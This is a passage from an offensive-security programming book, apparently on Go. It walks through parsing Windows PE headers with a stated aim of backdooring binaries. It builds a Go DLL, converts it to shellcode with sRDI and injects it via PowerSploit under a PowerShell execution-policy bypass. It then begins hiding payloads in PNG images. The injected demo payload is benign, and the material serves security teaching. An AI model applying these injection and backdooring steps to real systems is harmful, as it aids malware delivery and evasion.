❺binary.Read(sr,binary.LittleEndian,&oh32) casesizeofOptionalHeader64: binary.Read(sr,binary.LittleEndian,&oh64) } Listing12-19:ReadingtheOptionalHeaderbytes(/ch-12/peParser/main.go) Inthiscodeblock,we’reinitializingtwovariables, sizeOfOptionalHeader32❶andsizeOfOptionalHeader64❷,with224 bytesand240bytes,respectively.Thisisanx86binary,so we’llusetheformervariableinourcode.Immediately followingthevariabledeclarationsareinitializationsof pe.OptionalHeader32❸andpe.OptionalHeader64❹interfaces,which willcontaintheOptionalHeaderdata.Finally,weperformthe binaryread❺andmarshalittotherelevantdatastructure:the oh32basedona32-bitbinary. Let’sdescribesomeofthemorenotableitemsofthe OptionalHeader.Thecorrespondingprintstatementsand subsequentoutputareprovidedinListing12-20. //PrintOptionalHeader fmt.Println("[-----OptionalHeader-----]") fmt.Printf("[+]EntryPoint:%#x\n",oh32.AddressOfEntryPoint) fmt.Printf("[+]ImageBase:%#x\n",oh32.ImageBase) fmt.Printf("[+]SizeofImage:%#x\n",oh32.SizeOfImage) fmt.Printf("[+]SectionsAlignment:%#x\n",oh32.SectionAlignment) fmt.Printf("[+]FileAlignment:%#x\n",oh32.FileAlignment) fmt.Printf("[+]Characteristics:%#x\n",pefile.FileHeader.Characteristics) fmt.Printf("[+]SizeofHeaders:%#x\n",oh32.SizeOfHeaders) fmt.Printf("[+]Checksum:%#x\n",oh32.CheckSum) fmt.Printf("[+]Machine:%#x\n",pefile.FileHeader.Machine) fmt.Printf("[+]Subsystem:%#x\n",oh32.Subsystem) fmt.Printf("[+]DLLCharacteristics:%#x\n",oh32.DllCharacteristics) /*OUTPUT [-----OptionalHeader-----] [+]EntryPoint:0x169e682❶ [+]ImageBase:0x400000❷ [+]SizeofImage:0x3172000❸ [+]SectionsAlignment:0x1000❹ [+]FileAlignment:0x200❺ [+]Characteristics:0x102 [+]SizeofHeaders:0x400 [+]Checksum:0x2e41078 [+]Machine:0x14c [+]Subsystem:0x2 [+]DLLCharacteristics:0x8140 */ Listing12-20:WritingOptionalHeadervaluestoterminaloutput(/ch- 12/peParser/main.go) AssumingthattheobjectiveistobackdooraPEfile,you’ll needtoknowboththeImageBase❷andEntryPoint❶inorderto hijackandmemoryjumptothelocationoftheshellcodeorto anewsectiondefinedbythenumberofSectionTableentries.The ImageBaseistheaddressofthefirstbyteoftheimageonceitis loadedintomemory,whereastheEntryPointistheaddressofthe executablecoderelativetotheImageBase.TheSizeofImage❸is theactualsizeoftheimage,initsentirety,whenloadedinto memory.Thisvaluewillneedtobeadjustedtoaccommodate anyincreaseinimagesize,whichcouldhappenifyouaddeda newsectioncontainingshellcode. TheSectionsAlignment❹willprovidethebytealignment whensectionsareloadedintomemory:0x1000isarather standardvalue.TheFileAlignment❺providesthebyte alignmentofthesectionsonrawdisk:0x200(512K)isalsoa commonvalue.You’llneedtomodifythesevaluesinorderto getworkingcode,andyou’llhavetouseahexeditoranda debuggerifyou’replanningtoperformallthismanually. TheOptionalHeadercontainsnumerousentries.Insteadof describingeverysingleoneofthem,werecommendthatyou explorethedocumentationathttps://docs.microsoft.com/en- us/windows/win32/debug/pe-format#optional-header- windows-specific-fields-image-onlytogainacomprehensive understandingofeachentry. ParsingtheDataDirectory Atruntime,theWindowsexecutablemustknowimportant information,suchashowtoconsumealinkedDLLorhowto allowotherapplicationprocessestoconsumeresourcesthat theexecutablehastooffer.Thebinaryalsoneedstomanage granulardata,suchasthreadstorage.Thisistheprimary functionoftheDataDirectory. TheDataDirectoryisthelast128bytesoftheOptional Headerandpertainsspecificallytoabinaryimage.Weuseit tomaintainatableofreferencescontainingbothanindividual directory’soffsetaddresstothedatalocationandthesizeof thedata.Exactly16directoryentriesaredefinedwithinthe WINNT.Hheader,whichisacoreWindowsheaderfilethat definesvariousdatatypesandconstantstobeusedthroughout theWindowsoperatingsystem. Notethatnotallofthedirectoriesareinuse,assomeare reservedorunimplementedbyMicrosoft.Theentirelistof datadirectoriesanddetailsoftheirintendedusecanbe referencedathttps://docs.microsoft.com/en- us/windows/win32/debug/pe-format#optional-header-data- directories-image-only.Again,alotofinformationis associatedwitheachindividualdirectory,sowerecommend youtakesometimetoreallyresearchandgetfamiliarwith theirstructures. Let’sexploreacoupleofdirectoryentrieswithintheData DirectorybyusingthecodeinListing12-21. //PrintDataDirectory fmt.Println("[-----DataDirectory-----]") varwinnt_datadirs=[]string{❶ "IMAGE_DIRECTORY_ENTRY_EXPORT", "IMAGE_DIRECTORY_ENTRY_IMPORT", "IMAGE_DIRECTORY_ENTRY_RESOURCE", "IMAGE_DIRECTORY_ENTRY_EXCEPTION", "IMAGE_DIRECTORY_ENTRY_SECURITY", "IMAGE_DIRECTORY_ENTRY_BASERELOC", "IMAGE_DIRECTORY_ENTRY_DEBUG", "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", "IMAGE_DIRECTORY_ENTRY_TLS", "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", "IMAGE_DIRECTORY_ENTRY_IAT", "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", "IMAGE_NUMBEROF_DIRECTORY_ENTRIES", } foridx,directory:=rangeoh32.DataDirectory{❷ fmt.Printf("[!]DataDirectory:%s\n",winnt_datadirs[idx]) fmt.Printf("[+]ImageVirtualAddress:%#x\n",directory.VirtualAddress) fmt.Printf("[+]ImageSize:%#x\n",directory.Size) } /*OUTPUT [-----DataDirectory-----] [!]DataDirectory:IMAGE_DIRECTORY_ENTRY_EXPORT❸ [+]ImageVirtualAddress:0x2a7b6b0❹ [+]ImageSize:0x116c❺ [!]DataDirectory:IMAGE_DIRECTORY_ENTRY_IMPORT❻ [+]ImageVirtualAddress:0x2a7c81c [+]ImageSize:0x12c --snip-- */ Listing12-21:ParsingtheDataDirectoryforaddressoffsetandsize(/ch- 12/peParser/main.go) TheDataDirectorylist❶isstaticallydefinedby Microsoft,meaningthattheliteralindividualdirectorynames willremaininaconsistentlyorderedlist.Assuch,theyare consideredtobeconstants.Wewilluseaslicevariable, winnt_datadirs,tostoretheindividualdirectoryentriessowecan reconcilenamestoindexpositions.Specifically,theGoPE packageimplementstheDataDirectoryasastructobject,so we’rerequiredtoiterateovereachentrytoextractthe individualdirectoryentries,alongwiththeirrespectiveaddress offsetandsizeattributes.Theforloopis0-indexbased,sowe justoutputeachsliceentryrelativetoitsindexposition❷. Thedirectoryentriesbeingdisplayedtostandardoutputare theIMAGE_DIRECTORY_ENTRY_EXPORT❸,ortheEAT,andthe IMAGE_DIRECTORY_ENTRY_IMPORT❻,ortheIAT.Eachofthese directoriesmaintainsatableofexportedandimported functions,respectively,relativetotherunningWindows executable.Lookingfurtherat IMAGE_DIRECTORY_ENTRY_EXPORT,youwillseethevirtual address❹containingtheoffsetoftheactualtabledata,along withthesize❺ofthedatacontainedwithin. ParsingtheSectionTable TheSectionTable,thelastPEbytestructure,immediately followstheOptionalHeader.Itcontainsthedetailsofeach relevantsectionintheWindowsexecutablebinary,suchas executablecodeandinitializeddatalocationoffsets.The numberofentriesmatchestheNumberOfSectionsdefinedwithin theCOFFFileHeader.YoucanlocatetheSectionTableatthe PEsignatureoffset+0xF8.Let’stakealookatthissection withinahexeditor(Figure12-8). Figure12-8:TheSectionTable,asobservedusingahexeditor ThisparticularSectionTablestartswith.text,butitmight startwithaCODEsection,dependingonthebinary’scompiler. The.text(orCODE)sectioncontainstheexecutablecode, whereasthenextsection,.rodata,containsread-onlyconstant data.The.rdatasectioncontainsresourcedata,andthe.data sectioncontainsinitializeddata.Eachsectionisatleast40 bytesinlength. YoucanaccesstheSectionTablewithintheCOFFFile Header.Youcanalsoaccesseachsectionindividually,using thecodeinListing12-22. s:=pefile.Section(".text") fmt.Printf("%v",*s) /*Output {{.text25509328409625509376102400001610612768}[]0xc0000643c0 0xc0000643c0} */ Listing12-22:ParsingaspecificsectionfromtheSectionTable(/ch- 12/peParser/main.go) TheotheroptionistoiterateovertheentireSectionTable, asshowninListing12-23. fmt.Println("[-----SectionTable-----]") for_,section:=rangepefile.Sections{❶ fmt.Println("[+]--------------------") fmt.Printf("[+]SectionName:%s\n",section.Name) fmt.Printf("[+]SectionCharacteristics:%#x\n",section.Characteristics) fmt.Printf("[+]SectionVirtualSize:%#x\n",section.VirtualSize) fmt.Printf("[+]SectionVirtualOffset:%#x\n",section.VirtualAddress) fmt.Printf("[+]SectionRawSize:%#x\n",section.Size) fmt.Printf("[+]SectionRawOffsettoData:%#x\n",section.Offset) fmt.Printf("[+]SectionAppendOffset(NextSection):%#x\n", section.Offset+section.Size) } /*OUTPUT [-----SectionTable-----] [+]-------------------- [+]SectionName:.text❷ [+]SectionCharacteristics:0x60000020❸ [+]SectionVirtualSize:0x1853dd0❹ [+]SectionVirtualOffset:0x1000❺ [+]SectionRawSize:0x1853e00❻ [+]SectionRawOffsettoData:0x400❼ [+]SectionAppendOffset(NextSection):0x1854200❽ [+]-------------------- [+]SectionName:.rodata [+]SectionCharacteristics:0x60000020 [+]SectionVirtualSize:0x1b00 [+]SectionVirtualOffset:0x1855000 [+]SectionRawSize:0x1c00 [+]SectionRawOffsettoData:0x1854200 [+]SectionAppendOffset(NextSection):0x1855e00 --snip-- */ Listing12-23:ParsingallsectionsfromaSectionTable(/ch-12/peParser/main.go) Here,we’reiteratingoverallthesectionswithinthe SectionTable❶andwritingthename❷,virtualsize❹,virtual address❺,rawsize❻,andrawoffset❼tostandardoutput.Also, wecalculatethenext40-byteoffsetaddress❽intheevent thatwe’dwanttoappendanewsection.Thecharacteristicsvalue ❸describeshowthesectionistobehaveaspartofthebinary. Forexample,the.textsectionprovidesavalueof0x60000020. ReferencingtherelevantSectionFlagsdataat https://docs.microsoft.com/en-us/windows/win32/debug/pe- format#section-flags(Table12-2),wecanseethatthree separateattributesmakeupthevalue. Table12-2:CharacteristicsofSectionFlags Flag Value Description IMAGE_SCN_CNT _CODE 0x00000020 Thesectioncontainsexecutablecode. IMAGE_SCN_MEM _EXECUTE 0x20000000 Thesectioncanbeexecutedascode. IMAGE_SCN_MEM _READ 0x40000000 Thesectioncanberead. Thefirstvalue,0x00000020(IMAGE_SCN_CNT_CODE),states thatthesectioncontainsexecutablecode.Thesecondvalue, 0x20000000(IMAGE_SCN_MEM_EXECUTE),statesthatthesection canbeexecutedascode.Lastly,thethirdvalue,0x40000000 (IMAGE_SCN_MEM_READ),allowsthesectiontoberead. Therefore,addingallthesetogetherprovidesthevalue 0x60000020.Ifyou’readdinganewsection,keepinmindthat you’llneedtoupdateallthesepropertieswiththeirappropriate values. ThiswrapsupourdiscussionofthePEfiledatastructure. Itwasabriefoverview,weknow.Eachsectioncouldbeits ownchapter.However,itshouldbeenoughtoallowyouto useGoasameanstonavigatearbitrarydatastructures.The PEdatastructureisquiteinvolvedandit’swellworththetime andeffortnecessarytobecomefamiliarwithallofits components. AdditionalExercises TaketheknowledgeyoujustlearnedaboutthePEfiledata structureandexpanduponit.Herearesomeadditionalideas thatwillhelpreinforceyourunderstanding,whilealso providingachancetoexploremoreoftheGoPEpackage: ObtainvariousWindowsbinariesanduseahexeditorandadebuggertoexplore thevariousoffsetvalues.Identifyhowvariousbinariesaredifferent,suchas theirnumberofsections.Usetheparserthatyoubuiltinthischaptertoboth exploreandverifyyourmanualobservations. ExplorenewareasofthePEfilestructure,suchastheEATandIAT.Now, rebuildtheparsertosupportDLLnavigation. AddanewsectiontoanexistingPEfiletoincludeyourshinynewshellcode. Updatetheentiresectiontoincludetheappropriatenumberofsections,entry point,andrawandvirtualvalues.Dothisalloveragain,butthistime,insteadof addinganewsection,useanexistingsectionandcreateacodecave. Onetopicthatwedidn’tdiscusswashowtohandlePEfilesthathavebeencode packed,eitherwithcommonpackers,suchasUPX,ormoreobscurepackers. Findabinarythathasbeenpacked,identifyhowitwaspackedandwhatpacker wasused,andthenresearchtheappropriatetechniquetounpackthecode. USINGCWITHGO AnothermethodofaccessingtheWindowsAPIistoleverage C.BydirectlyusingC,youcouldtakeadvantageofan existinglibrarythatisavailableonlyinC,createaDLL (whichwecan’tdousingGoalone),orsimplycallthe WindowsAPI.Inthissection,we’llfirstinstallandconfigure aCtoolchainthatiscompatiblewithGo.Wewillthenlookat examplesofhowtouseCcodeinGoprogramsandhowto includeGocodeinCprograms. InstallingaCWindowsToolchain TocompileprogramsthatcontainacombinationofGoandC, you’llneedasuitableCtoolchainthatcanbeusedtobuild portionsofCcode.OnLinuxandmacOS,youcaninstallthe GNUCompilerCollection(GCC)byusingapackage manager.OnWindows,installingandconfiguringatoolchain isabitmoreinvolvedandcanleadtofrustrationifyou’renot familiarwiththemanyoptionsavailable.Thebestoptionwe foundistouseMSYS2,whichpackagesMinGW-w64,a projectcreatedtosupporttheGCCtoolchainonWindows. Downloadandinstallthisfromhttps://www.msys2.org/and followtheinstructionsonthatpagetoinstallyourCtoolchain. Also,remembertoaddthecompilertoyourPATHvariable. CreatingaMessageBoxUsingCandtheWindows API NowthatwehaveaCtoolchainconfiguredandinstalled,let’s lookatasimpleGoprogramthatleveragesembeddedCcode. Listing12-24containsCthatusestheWindowsAPItocreate amessagebox,whichgivesusavisualdisplayofthe WindowsAPIinuse. packagemain ❶/* #include<stdio.h> #include<windows.h> ❷voidbox() { MessageBox(0,"IsGothebest?","CGOGO",0x00000004L); } */ ❸import"C" funcmain(){ ❹C.box() } Listing12-24:GousingC(/ch-12/messagebox/main.go) Ccodecanbeprovidedthroughexternalfileinclude statements❶.ItcanalsobeembeddeddirectlyinaGofile. Hereweareusingbothmethods.ToembedCcodeintoaGo file,weuseacomment,insideofwhichwedefineafunction thatwillcreateaMessageBox❷.Gosupportscommentsfor manycompile-timeoptions,includingcompilingCcode. Immediatelyaftertheclosingcommenttag,weuseimport"C"to telltheGocompilertouseCGO,apackagethatallowstheGo compilertolinknativeCcodeatbuildtime❸.WithintheGo code,wecannowcallfunctionsdefinedinC,andwecallthe C.box()function,whichexecutesthefunctiondefinedinthe bodyofourCcode❹. Buildthesamplecodebyusinggobuild.Whenexecuted, youshouldgetamessagebox. NOTE ThoughtheCGOpackageisextremelyconvenient,allowingyoutocallC librariesfromGocodeaswellascallGolibrariesfromCcode,usingit gets rid of Go’s memory manager and garbage disposal. If you want to reapthebenefitsofGo’smemorymanager,youshouldallocatememory withinGoandthenpassittoC.Otherwise,Go’smemorymanagerwon’t knowaboutallocationsyou’vemadeusingtheCmemorymanager,and thoseallocationswon’tbefreedunlessyoucallC’snativefree()method.Not freeingthememorycorrectlycanhaveadverseeffectsonyourGocode. Finally,justlikeopeningfilehandlesinGo,usedeferwithinyourGofunction toensurethatanyCmemorythatGoreferencesisgarbagecollected. BuildingGointoC JustaswecanembedCcodeintoGoprograms,wecanembed GocodeintoCprograms.Thisisusefulbecause,asofthis writing,theGocompilercan’tbuildourprogramsintoDLLs. Thatmeanswecan’tbuildutilitiessuchasreflectiveDLL injectionpayloads(liketheonewecreatedearlierinthis chapter)withGoalone. However,wecanbuildourGocodeintoaCarchivefile, andthenuseCtobuildthearchivefileintoaDLL.Inthis section,we’llbuildaDLLbyconvertingourGocodeintoaC archivefile.Thenwe’llconvertthatDLLintoshellcodeby usingexistingtools,sowecaninjectandexecuteitin memory.Let’sstartwiththeGocode(Listing12-25),savedin afilecalledmain.go. packagemain ❶import"C" import"fmt" ❷//exportStart ❸funcStart(){ fmt.Println("YOFROMGO") } ❹funcmain(){ } Listing12-25:TheGopayload(/ch-12/dllshellcode/main.go) WeimportCtoincludeCGOintoourbuild❶.Next,we useacommenttotellGothatwewanttoexportafunctionin ourCarchive❷.Finally,wedefinethefunctionwewantto convertintoC❸.Themain()function❹canremainempty. TobuildtheCarchive,executethefollowingcommand: >gobuild-buildmode=c-archive Weshouldnowhavetwofiles,anarchivefilecalled dllshellcode.aandanassociatedheaderfilecalled dllshellcode.h.Wecan’tusethesequiteyet.Wehavetobuild ashiminCandforcethecompilertoincludedllshellcode.a. Oneelegantsolutionistouseafunctiontable.Createafile thatcontainsthecodeinListing12-26.Callthisfilescratch.c. #include"dllshellcode.h" void(*table[1])={Start}; Listing12-26:Afunctiontablesavedinthescratch.cfile(/ch- 12/dllshellcode/scratch.c) WecannowuseGCCtobuildthescratch.cCfileintoa DLLbyusingthefollowingcommand: >gcc-shared-pthread-ox.dllscratch.cdllshellcode.a-lWinMM-lntdll- lWS2_32 ToconvertourDLLintoshellcode,we’llusesRDI (https://github.com/monoxgas/sRDI/),anexcellentutilitythat hasatonoffunctionality.Tobegin,downloadtherepoby usingGitonWindowsand,optionally,aGNU/Linuxmachine, asyoumayfindGNU/Linuxtobeamorereadilyavailable Python3environment.You’llneedPython3forthisexercise, soinstallitifit’snotalreadyinstalled. FromthesRDIdirectory,executeapython3shell.Usethe followingcodetogenerateahashoftheexportedfunction: >>>fromShellCodeRDIimport* >>>HashFunctionName('Start') 1168596138 ThesRDItoolswillusethehashtoidentifyafunctionfrom theshellcodewe’llgeneratelater. Next,we’llleveragePowerShellutilitiestogenerateand executeshellcode.Forconvenience,wewillusesomeutilities fromPowerSploit (https://github.com/PowerShellMafia/PowerSploit/),whichis asuiteofPowerShellutilitieswecanleveragetoinject shellcode.YoucandownloadthisusingGit.Fromthe PowerSploit\CodeExecutiondirectory,launchanew PowerShellshell: c:\tools\PowerSploit\CodeExecution>powershell.exe-execbypass WindowsPowerShell Copyright(C)2016MicrosoftCorporation.Allrightsreserved. NowimporttwoPowerShellmodulesfromPowerSploit andsRDI: PSC:\tools\PowerSploit\CodeExecution>Import-Module.\Invoke-Shellcode.ps1 PSC:\tools\PowerSploit\CodeExecution>cd..\..\sRDI PSC:\tools\sRDI>cd.\PowerShell\ PSC:\tools\sRDI\PowerShell>Import-Module.\ConvertTo-Shellcode.ps1 Withbothmodulesimported,wecanuseConvertTo-Shellcode fromsRDItogenerateshellcodefromtheDLL,andthenpass thisintoInvoke-ShellcodefromPowerSploittodemonstratethe injection.Oncethisexecutes,youshouldobserveyourGo codeexecuting: PSC:\tools\sRDI\PowerShell>Invoke-Shellcode-Shellcode(ConvertTo- Shellcode -FileC:\Users\tom\Downloads\x.dll-FunctionHash1168596138) InjectingshellcodeintotherunningPowerShellprocess! Doyouwishtocarryoutyourevilplans? [Y]Yes[N]No[S]Suspend[?]Help(defaultis"Y"):Y YOFROMGO ThemessageYOFROMGoindicatesthatwehave successfullylaunchedourGopayloadfromwithinaCbinary thatwasconvertedintoshellcode.Thisunlocksawholehost ofpossibilities. SUMMARY Thatwasquitealottodiscuss,andyetitjustscratchesthe surface.Westartedthechapterwithabriefdiscussionabout navigatingtheWindowsAPIdocumentationsoyou’dbe familiarwithreconcilingWindowsobjectstousableGo objects:theseincludefunctions,parameters,datatypes,and returnvalues.Next,wediscussedtheuseofuintptrand unsafe.Pointertoperformdisparatetypeconversionsnecessary wheninteractingwiththeGosyscallpackage,alongwiththe potentialpitfallstoavoid.Wethentiedeverythingtogether withademonstrationofprocessinjection,whichusedvarious GosystemcallstointeractwithWindowsprocessinternals. Fromthere,wediscussedthePEfileformatstructure,and thenbuiltaparsertonavigatethedifferentfilestructures.We demonstratedvariousGoobjectsthatmakenavigatingthe binaryPEfileabitmoreconvenientandfinishedupwith notableoffsetsthatmaybeinterestingwhenbackdooringaPE file. Lastly,youbuiltatoolchaintointeroperatewithGoand nativeCcode.WebrieflydiscussedtheCGOpackagewhile focusingoncreatingCcodeexamplesandexploringnovel toolsforcreatingnativeGoDLLs. Takethischapterandexpandonwhatyou’velearned.We urgeyoutocontinuouslybuild,break,andresearchthemany attackdisciplines.TheWindowsattacksurfaceisconstantly evolving,andhavingtherightknowledgeandtoolingwill onlyhelptomaketheadversarialjourneymoreattainable. 13 HIDINGDATAWITH STEGANOGRAPHY ThewordsteganographyisacombinationoftheGreekwords steganos,whichmeanstocover,conceal,orprotect,and graphien,whichmeanstowrite.Insecurity,steganography referstotechniquesandproceduresusedtoobfuscate(orhide) databyimplantingitwithinotherdata,suchasanimage,soit canbeextractedatafuturepointintime.Aspartofthe securitycommunity,you’llexplorethispracticeonaroutine basisbyhidingpayloadsthatyou’llrecoveraftertheyare deliveredtothetarget. Inthischapter,you’llimplantdatawithinaPortable NetworkGraphics(PNG)image.You’llfirstexplorethePNG formatandlearnhowtoreadPNGdata.You’llthenimplant yourowndataintotheexistingimage.Finally,you’llexplore XOR,amethodforencryptinganddecryptingyourimplanted data. EXPLORINGTHEPNGFORMAT Let’sstartbyreviewingthePNGspecification,whichwill helpyouunderstandthePNGimageformatandhowto implantdataintoafile.Youcanfinditstechnicalspecification athttp://www.libpng.org/pub/png/spec/1.2/PNG- Structure.html.Itprovidesdetailsaboutthebyteformatofa binaryPNGimagefile,whichismadeupofrepetitivebyte chunks. OpenaPNGfilewithinahexeditorandnavigatethrough eachoftherelevantbytechunkcomponentstoseewhateach does.We’reusingthenativehexdumphexeditoronLinux, butanyhexeditorshouldwork.Youcanfindthesample imagethatwe’llopenathttps://github.com/blackhat- go/bhg/blob/master/ch-13/imgInject/images/battlecat.png; however,allvalidPNGimageswillfollowthesameformat. TheHeader Thefirst8bytesoftheimagefile,89504e470d0a1a0a, highlightedinFigure13-1,arecalledtheheader. Figure13-1:ThePNGfile’sheader Thesecond,third,andfourthhexvaluesliterallyreadPNG whenconvertedtoASCII.Thearbitrarytrailingbytesconsist ofbothDOSandUnixCarriage-ReturnLineFeed(CRLF). Thisspecificheadersequence,referredtoasafile’smagic bytes,willbeidenticalineveryvalidPNGfile.Thevariations incontentoccurintheremainingchunks,asyou’llsoonsee. Asweworkthroughthisspec,let’sstarttobuilda representationofthePNGformatinGo.It’llhelpusexpedite ourendgoalofembeddingpayloads.Sincetheheaderis8 byteslong,itcanbepackedintoauint64datatype,solet’sgo aheadandbuildastructcalledHeaderthatwillholdthevalue (Listing13-1).(Allthecodelistingsattherootlocationof/ existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.) //HeaderholdsthefirstUINT64(MagicBytes) typeHeaderstruct{ Headeruint64 } Listing13-1:Headerstructdefinition(/ch-13/imgInject/pnglib/commands.go) TheChunkSequence TheremainderofthePNGfile,showninFigure13-2,is composedofrepeatingbytechunksthatfollowthispattern: SIZE(4bytes),TYPE(4bytes),DATA(anynumberofbytes),and CRC(4bytes). Figure13-2:Thepatternofthechunksusedfortheremainderoftheimagedata Reviewingthehexdumpinfurtherdetail,youcanseethat thefirstchunk—theSIZEchunk—consistsofbytes0x000x00 0x000x0d.ThischunkdefinesthelengthoftheDATAchunk that’llfollow.ThehexadecimalconversiontoASCIIis13—so thischunkdictatesthattheDATAchunkwillconsistof13 bytes.TheTYPEchunk’sbytes,0x490x480x440x52,converttoan ASCIIvalueofIHDRinthiscase.ThePNGspecdefines variousvalidtypes.Someofthesetypes,suchasIHDR,are usedtodefineimagemetadataorsignaltheendofanimage datastream.Othertypes,specificallytheIDATtype,containthe actualimagebytes. NextistheDATAchunk,whoselengthisdefinedbytheSIZE chunk.Finally,theCRCchunkconcludestheoverallchunk segment.ItconsistsofaCRC-32checksumofthecombined TYPEandDATAbytes.ThisparticularCRCchunk’sbytesare 0x9a0x760x820x70.Thisformatrepeatsitselfthroughoutthe entireimagefileuntilyoureachanEndofFile(EOF)state, indicatedbythechunkoftypeIEND. JustasyoudidwiththeHeaderstructinListing13-1,builda structtoholdthevaluesofasinglechunk,asdefinedin Listing13-2. //Chunkrepresentsadatabytechunksegment typeChunkstruct{ Sizeuint32 Typeuint32 Data[]byte CRCuint32 } Listing13-2:Chunkstructdefinition(/ch-13/imgInject/pnglib/commands.go) READINGIMAGEBYTEDATA TheGolanguagehandlesbinarydatareadsandwriteswith relativeease,thanksinparttothebinarypackage(whichyou mayrememberfromChapter6),butbeforeyoucanparse PNGdata,you’llneedtoopenafileforreading.Let’screatea PreProcessImage()functionthatwillconsumeafilehandleoftype *os.Fileandreturnatypeof*bytes.Reader(Listing13-3). //PreProcessImagereadstobufferfromfilehandle funcPreProcessImage(dat*os.File)(*bytes.Reader,error){ ❶stats,err:=dat.Stat() iferr!=nil{ returnnil,err } ❷varsize=stats.Size() b:=make([]byte,size) ❸bufR:=bufio.NewReader(dat) _,err=bufR.Read(b) bReader:=bytes.NewReader(b) returnbReader,err } Listing13-3:ThePreProcessImage()functiondefinition(/ch- 13/imgInject/utils/reader.go) ThefunctionopensafileobjectinordertoobtainaFileInfo structure❶usedtograbsizeinformation❷.Immediately followingareacoupleoflinesofcodeusedtoinstantiatea Readerinstanceviabufio.NewReader()andthena*bytes.Reader instanceviaacalltobytes.NewReader()❸.Thefunctionreturnsa *bytes.Reader,whichpositionsyoutostartusingthebinary packagetoreadbytedata.You’llfirstreadtheheaderdataand thenreadthechunksequence. ReadingtheHeaderData TovalidatethatthefileisactuallyaPNGfile,usethefirst8 bytes,whichdefineaPNGfile,tobuildthevalidate()method (Listing13-4). func(mc*MetaChunk)validate(b*bytes.Reader){ varheaderHeader iferr:=binary.Read(b,binary.BigEndian,&header.Header)❶;err!=nil{ log.Fatal(err) } bArr:=make([]byte,8) binary.BigEndian.PutUint64(bArr,header.Header)❷ ifstring(bArr[1:4])❸!="PNG"{ log.Fatal("ProvidedfileisnotavalidPNGformat") }else{ fmt.Println("ValidPNGsoletuscontinue!") } } Listing13-4:ValidatingthatthefileisaPNGfile(/ch- 13/imgInject/pnglib/commands.go) Althoughthismethodmaynotseemoverlycomplex,it introducesacoupleofnewitems.Thefirst,andthemost obviousone,isthebinary.Read()function❶thatcopiesthefirst 8bytesfromthebytes.ReaderintotheHeaderstructvalue.Recall thatyoudeclaredtheHeaderstructfieldastypeuint64(Listing 13-1),whichisequivalentto8bytes.It’salsonoteworthythat thebinarypackageprovidesmethodstoreadMostSignificantBit andLeastSignificantBitformatsviabinary.BigEndianand binary.LittleEndian,respectively❷.Thesefunctionscanalsobe quitehelpfulwhenyou’reperformingbinarywrites;for example,youcouldselectBigEndiantoplacebytesonthewire dictatingtheuseofnetworkbyteordering. Thebinaryendiannessfunctionalsocontainsthemethods thatfacilitatethemarshalingofdatatypestoaliteraldatatype (suchasuint64).Here,you’recreatingabytearrayoflength8 andperformingabinaryreadnecessarytocopythedataintoa unit64datatype.Youcanthenconvertthebytestotheirstring representationsanduseslicingandasimplestringcomparison tovalidatethatbytes1through4producePNG,indicatingthat youhaveavalidimagefileformat❸. ToimprovetheprocessofcheckingthatafileisaPNG file,weencourageyoutolookattheGobytespackage,asit containsconveniencefunctionsthatyoucoulduseasa shortcuttocompareafileheaderwiththePNGmagicbyte sequencewementionedearlier.We’llletyouexplorethison yourown. ReadingtheChunkSequence OnceyouvalidatedthatyourfileisaPNGimage,youcan writethecodethatreadsthechunksequence.Theheaderwill occuronlyonceinaPNGfile,whereasthechunksequence willrepeattheSIZE,TYPE,DATA,andCRCchunksuntilit reachestheEOF.Therefore,youneedtobeableto accommodatethisrepetition,whichyoucandomost convenientlybyusingaGoconditionalloop.Withthisin mind,let’sbuildoutaProcessImage()method,whichiteratively processesallthedatachunksuptotheendoffile(Listing13- 5). func(mc*MetaChunk)ProcessImage(b*bytes.Reader,c *models.CmdLineOpts)❶{ //Snipcodeforbrevity(Onlydisplayingrelevantlinesfromcodeblock) count:=1//Startat1because0isreservedformagicbyte ❷chunkType:="" ❸endChunkType:="IEND"//ThelastTYPEpriortoEOF ❹forchunkType!=endChunkType{ fmt.Println("----Chunk#"+strconv.Itoa(count)+"----") offset:=chk.getOffset(b) fmt.Printf("ChunkOffset:%#02x\n",offset) chk.readChunk(b) chunkType=chk.chunkTypeToString() count++ } } Listing13-5:TheProcessImage()method(/ch-13/imgInject/pnglib/commands.go) Youfirstpassareferencetoabytes.Readermemoryaddress pointer(*bytes.Reader)asanargumenttoProcessImage()❶.The validate()method(Listing13-4)youjustcreatedalsotooka referencetoabytes.Readerpointer.Asconventiondictates, multiplereferencestothesamememoryaddresspointer locationwillinherentlyallowmutableaccesstothereferenced data.Thisessentiallymeansthatasyoupassyourbytes.Reader referenceasanargumenttoProcessImage(),thereaderwillhave alreadyadvanced8bytesasaresultofthesizeoftheHeader becauseyou’reaccessingthesameinstanceofbytes.Reader. Alternatively,hadyounotpassedapointer,thebytes.Reader wouldhaveeitherbeenacopyofthesamePNGimagedataor separateuniqueinstancedata.That’sbecauseadvancingthe pointerwhenyoureadtheheaderwouldnothaveadvanced thereaderappropriatelyelsewhere.Youwanttoavoidtaking thisapproach.Forone,passingaroundmultiplecopiesofdata whenunnecessaryissimplybadconvention.More importantly,eachtimeacopyispassed,itispositionedatthe startofthefile,forcingyoutoprogrammaticallydefineand manageitspositioninthefilepriortoreadingachunk sequence. Asyouprogressthroughtheblockofcode,youdefinea countvariabletotrackhowmanychunksegmentstheimage filecontains.ThechunkType❷andendChunkType❸areusedas partofthecomparativelogic,whichevaluatesthecurrent chunkTypetoendChunkType’sIENDvaluedesignatinganEOF condition❹. Itwouldbenicetoknowwhereeachchunksegmentstarts —orrather,eachchunk’sabsolutepositionwithinthefilebyte construct,avalueknownastheoffset.Ifyouknowtheoffset value,itwillbemucheasiertoimplantapayloadintothefile. Forexample,youcangiveacollectionofoffsetlocationstoa decoder—aseparatefunctionthatcollectsthebytesateach knownoffset—thatthenunwindsthemintoyourintended payload.Togettheoffsetsofeachchunk,you’llcallthe mc.getOffset(b)method(Listing13-6). func(mc*MetaChunk)getOffset(b*bytes.Reader){ offset,_:=b.Seek(0,1)❶ mc.Offset=offset } Listing13-6:ThegetOffset()method(/ch-13/imgInject/pnglib/commands.go) Thebytes.ReadercontainsaSeek()methodthatmakesderiving thecurrentpositionquitesimple.TheSeek()methodmovesthe 